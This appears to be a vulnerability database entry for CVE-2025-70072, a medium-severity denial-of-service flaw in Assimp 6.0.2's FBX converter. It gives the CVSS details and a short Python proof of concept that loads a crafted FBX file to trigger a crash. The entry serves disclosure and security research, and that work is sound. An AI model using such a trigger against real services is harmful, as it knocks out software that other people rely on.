An issue in Assimp v.6.0.2 allows a remote attacker to cause a denial of service via the FBXConverter.cpp, FBXConverter::ConvertMeshMultiMaterial() components
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Assimp 6.0.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-70072
# This script demonstrates the crash when loading a crafted FBX file in Assimp 6.0.2.
# The vulnerability is triggered in FBXConverter::ConvertMeshMultiMaterial.
import pyassimp
import sys
# Replace 'malicious.fbx' with the actual crafted file path
# The crafted file contains invalid material indices for a multi-material mesh.
file_path = 'malicious_cve_2025_70072.fbx'
def trigger_vulnerability():
try:
print(f"Attempting to load {file_path}...")
# This call invokes the vulnerable FBXConverter logic
scene = pyassimp.load(file_path)
print("File processed. Vulnerability may be patched or file invalid.")
pyassimp.release(scene)
except Exception as e:
print(f"Error during processing: {e}")
# Note: In the vulnerable version, this often results in a Segmentation Fault (crash)
# rather than a caught exception.
if __name__ == "__main__":
trigger_vulnerability()